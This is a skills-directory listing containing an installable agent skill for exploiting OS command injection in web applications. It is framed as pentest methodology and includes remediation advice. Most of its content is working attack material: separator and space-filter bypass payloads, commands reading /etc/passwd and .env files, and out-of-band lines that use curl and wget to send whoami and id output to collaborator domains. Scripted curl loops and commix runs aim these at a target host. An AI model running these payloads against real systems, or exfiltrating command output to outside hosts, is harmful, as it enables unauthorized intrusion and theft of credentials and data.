Skip to content
Back to skills

Webapp Exploiting Os Command Injection

BSecurity

Identifying and exploiting OS command injection vulnerabilities in web applications where user input is passed to a system shell, leading to arbitrary command execution.

  • 2 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added November 7, 2026
securitypythongoshellbashtestinggit

Works with

  • cli

Security analysis

B84/100
  • mediumUses curl or wget to download content
  • criticalAccesses sensitive system or user directories

Pro shows the line behind each finding and how to fix it

Scanned November 7, 2026

npx -y skills add bitbytelabio/arsenal --skill webapp-exploiting-os-command-injection --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Webapp Exploiting Os Command Injection?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Webapp Exploiting Os Command Injection
[![Security: B — Skills Directory](https://www.skillsdirectory.com/api/skills/bitbytelabio-webapp-exploiting-os-command-injection/badge)](https://www.skillsdirectory.com/skills/bitbytelabio-webapp-exploiting-os-command-injection)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: webapp-exploiting-os-command-injection
description: Identifying and exploiting OS command injection vulnerabilities in web applications where user input is passed to a system shell, leading to arbitrary command execution.
domain: webapp
category: injection
hide: true
license: Apache-2.0
metadata:
  manifest_entry: src/corpus/webapp-exploiting-os-command-injection/SKILL.md
---
# Exploiting OS Command Injection

## When to Use

- During authorized penetration tests when a parameter is reflected into a
  system command, shell, or process invocation (ping, nslookup, ImageMagick,
  ffmpeg, pdf/zip utilities, git, tar, "export to PDF", "test connection", etc.)
- When testing admin/diagnostic features ("ping host", "traceroute", "DNS lookup",
  "check connectivity") which are the single most common command-injection sinks
- When file names, hostnames, or format parameters flow into `system()`,
  `exec()`, `popen()`, `subprocess` with `shell=True`, `Runtime.exec`, or
  backticks
- After finding LFI/file upload — chaining to RCE often involves a command sink

**Do not** run destructive commands (rm, shutdown, fork bombs) on the target.
Limit proof-of-concept to read-only commands (`id`, `whoami`, `hostname`).


## 1. Operational Decision Tree

```text
               [Command Injection Sink Candidate Identified]
                                     │
                                     ▼
                     [Preflight Authorization Check]
                   (Verify target host in scope.json)
                                     │
                     ┌───────────────┴───────────────┐
                     ▼                               ▼
            [In-Band Execution]              [Blind Execution]
            (Output Reflected)             (No Output Reflected)
                     │                               │
                     ▼                               ▼
         [Separator Matrix Test]             [Timing Oracle Probe]
         - Linux: ; | && || $() ``           - sleep 5 -> ~5s response
         - Windows: & | && %0a               - ping -c 5 127.0.0.1
         - Newline: %0a / \n                         │
                     │                               ▼
                     ▼                     [OOB Interaction Probe]
         [Space Filtering Bypass]          - nslookup $COLLAB_DOMAIN
         - Linux: ${IFS}, $IFS$9, {cat,}   - curl http://$COLLAB_DOMAIN/
         - Windows: %PROGRAMFILES:~10,-5%            │
                     │                               │
                     └───────────────┬───────────────┘
                                     ▼
                       [Tripartite Verification Oracle]
               Positive Assertion + Negative Baseline + Differential
                                     │
                                     ▼
                       [Evidence Ledger Registration]
            arsenal append-evidence --case $CASE_ID --tool commix ...
```

## Critical: Variants Most Often Missed (test these for EVERY parameter)

Command injection is missed when only one separator is tried. For every
parameter — especially hostnames, file names, and "format" values — try the
full separator matrix in both an in-band and a blind form.

```text
# Separators — prepend with the expected-valid value to keep the command working,
# e.g. for a ping field:  127.0.0.1;id
;id                 # command separator (Linux/most shells)
| id                # pipe
|| id               # OR (runs if first fails)
& id                # background / AND (Windows cmd)
&& id               # AND (runs if first succeeds)
`id`                # backtick substitution
$(id)               # $() substitution
%0a id              # newline-injected command (very commonly the ONLY one that works)
%0d%0a id
{id,}               # brace bypass when spaces are filtered
\nid

# No-space variants (when spaces/IFS are filtered)
;cat</etc/passwd
;cat${IFS}/etc/passwd
;cat$IFS$9/etc/passwd
{cat,/etc/passwd}

# Windows
& whoami
&& whoami
| whoami
%0a whoami
```

### Blind / out-of-band detection (when output is NOT reflected)

Most real command injection is blind. Confirm with timing or OOB callbacks:

```text
# Time-based — a reliable, target-agnostic confirmation
;sleep 10
& ping -n 10 127.0.0.1            # Windows
;ping -c 10 127.0.0.1            # Linux
$(sleep 10)
`sleep 10`
%0asleep%2010

# Out-of-band (DNS/HTTP) using a collaborator/interactsh domain
;nslookup <unique>.oast.fun
;curl http://<unique>.oast.fun/$(whoami)
& nslookup <unique>.oast.fun     # Windows
;wget --post-data="$(id)" http://<unique>.oast.fun
```

A 10-second delay that tracks the injected `sleep` value (test 0s vs 10s vs 20s
to rule out network noise), or a DNS/HTTP hit on your collaborator, confirms
injection even with no visible output.

### How to CONFIRM a hit

- In-band: response contains `uid=` / `gid=` (Linux `id`) or a Windows
  `DOMAIN\user` string (`whoami`), or `Linux ... #` from `uname -a`.
- Blind time-based: response time correlates with the injected sleep duration.
- OOB: interaction (DNS or HTTP) received on your collaborator with the
  expected unique subdomain — and ideally exfiltrated `whoami` output in it.

## Workflow

### Step 1: Find command sinks

```bash
# Parameters/features that commonly reach a shell:
#   host, ip, domain, url, target, ping, dns, lookup, cmd, exec, command,
#   file, filename, path, name, format, type, ext, page, lang, action
# Diagnostic UIs ("network tools", "test connection", "send test email",
# "export", "convert", "backup") are prime sinks.

# Baseline a known-good request first to measure normal timing/size.
curl -s -o /dev/null -w "%{http_code} %{size_download} %{time_total}s\n" \
  "https://target.example.com/diag/ping?host=127.0.0.1"
```

### Step 2: Probe with the separator matrix (in-band)

```bash
HOST="https://target.example.com/diag/ping"
for p in ';id' '|id' '||id' '&id' '&&id' '`id`' '$(id)' '%0aid' '{id,}'; do
  echo -n "127.0.0.1$p  -> "
  curl -s "$HOST?host=127.0.0.1$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))" "$p")" \
    | grep -aoE 'uid=[0-9]+\([a-z0-9_]+\)' | head -1 || echo "no marker"
done
```

### Step 3: Confirm blind injection with timing

```bash
for d in 0 10 20; do
  t=$(curl -s -o /dev/null -w "%{time_total}" \
    "https://target.example.com/diag/ping?host=127.0.0.1%3Bsleep%20$d")
  echo "sleep $d -> ${t}s"
done
# If the response time tracks the sleep value, injection is confirmed.
```

### Step 4: Out-of-band confirmation and limited exfiltration

```bash
# Start an interactsh client (or use Burp Collaborator) and use the domain:
OOB="abcd1234.oast.fun"
curl -s "https://target.example.com/diag/ping?host=127.0.0.1%3Bcurl%20http://$OOB/%24(whoami)"
# Check the OOB client for a hit containing the resolved username.
```

### Step 5: Escalate (only within scope)

- Read files: `;cat /etc/passwd`, `;cat /var/www/html/.env`
- Identify context: `;id;uname -a;hostname;pwd`
- Establish an interactive shell only if the engagement authorizes it; prefer a
  read-only PoC otherwise.

## Key Concepts

| Concept | Description |
|---------|-------------|
| **Command separator** | Shell metacharacters (`; | & && || newline`) that terminate the intended command and start an attacker one |
| **Argument injection** | Injecting extra flags (e.g. `--output`, `-o`) into a binary even when no shell separator is reachable |
| **Blind injection** | No command output is returned; confirmed via timing or out-of-band callbacks |
| **Out-of-band (OOB)** | Forcing the server to make a DNS/HTTP request to attacker infrastructure to prove execution |
| **IFS bypass** | Using `${IFS}`, `$IFS$9`, or brace expansion to inject commands when spaces are filtered |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| **Burp Suite Professional** | Intercept/Repeater/Intruder for the separator matrix; Collaborator for OOB |
| **interactsh (oast.fun)** | Self-hosted/public OOB interaction server for blind detection |
| **commix** | Automated command-injection detection and exploitation |
| **ffuf** | Fuzzing parameters with a command-injection payload list |


### Automated Testing with Commix (Rate-Safe & Proxy-Routed)
```bash
# Automated command injection fuzzing via authorized proxy
commix --url="https://$TARGET/diag/ping?host=127.0.0.1" \
  --batch \
  --proxy="http://127.0.0.1:8080" \
  --delay=1 \
  --timeout=15 \
  --level=2 \
  --output-dir="work/$CASE_ID/evidence/raw/commix_out"
```

## 2. Tripartite Verification Oracle

```text
+---------------------------------------------------------------------------------------+
|                              TRIPARTITE VERIFICATION ORACLE                            |
+---------------------------------------------------------------------------------------+
| 1. POSITIVE ASSERTION       | - In-Band: Attributable shell output observed:          |
|                             |   "uid=" AND "gid=" (Linux id) OR "Windows IP" (ipconfig)|
|                             | - Blind Timing: Response delay >= (sleep_seconds - 0.5s)|
|                             | - Blind OOB: Interaction callback received at DNS/HTTP   |
+-----------------------------+---------------------------------------------------------+
| 2. NEGATIVE BASELINE        | Probe parameter with legitimate benign input:           |
|    CONTROL                  | Confirm response latency <= 1.0s and output contains no |
|                             | unexpected system command headers or exit codes.        |
+-----------------------------+---------------------------------------------------------+
| 3. DIFFERENTIAL INVARIANCE  | Repeat timing probe with secondary delay (e.g. 7s):     |
|                             | Verify observed latency scales precisely to ~7.0s,       |
|                             | ruling out network jitter or transient spikes.          |
+---------------------------------------------------------------------------------------+
```

## 3. Evidence Capture & Ledger Registration

```bash
# Register proof-of-concept evidence into case repository
arsenal append-evidence \
  --case $CASE_ID \
  --tool commix \
  --file work/$CASE_ID/evidence/raw/cmd_injection_poc.txt \
  --desc "Confirmed Remote OS Command Injection with tripartite verification"
```

## Common Scenarios

### Scenario 1: "Ping host" diagnostic
A network-tools page runs `ping -c 4 <host>`. Submitting `127.0.0.1;id` returns
the ping output followed by `uid=33(www-data)`, confirming injection.

### Scenario 2: Blind injection in a hostname field
A "test SMTP connection" feature gives no output. `mail.x;sleep 15` makes the
response take ~15s while a valid host returns in <1s — blind RCE confirmed via
timing, then escalated with an OOB `nslookup` callback.

### Scenario 3: Filtered spaces
Input strips spaces, so `;cat /etc/passwd` fails but
`;cat${IFS}/etc/passwd` succeeds.

## Output Format

```
## Finding: OS Command Injection in Ping Diagnostic

**Severity**: Critical (CVSS 9.8)
**Location**: GET /diag/ping?host=127.0.0.1;id
**OWASP Category**: A03:2021 - Injection

### Reproduction Steps
1. Submit host=127.0.0.1 (baseline, ~0.2s)
2. Submit host=127.0.0.1;id
3. Response contains: uid=33(www-data) gid=33(www-data)
4. Blind confirmation: host=127.0.0.1;sleep 10 -> ~10s response

### Impact
Arbitrary command execution as the web-server user; full server compromise
and pivot into the internal network are possible.

### Recommendation
1. Never pass user input to a shell. Use argument arrays / native libraries
   (e.g. execve with a fixed argv, no shell) instead of system()/shell=True.
2. Strictly allowlist input (e.g. validate host is a valid IP/hostname).
3. Run the service with least privilege and egress filtering to block OOB.
```

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.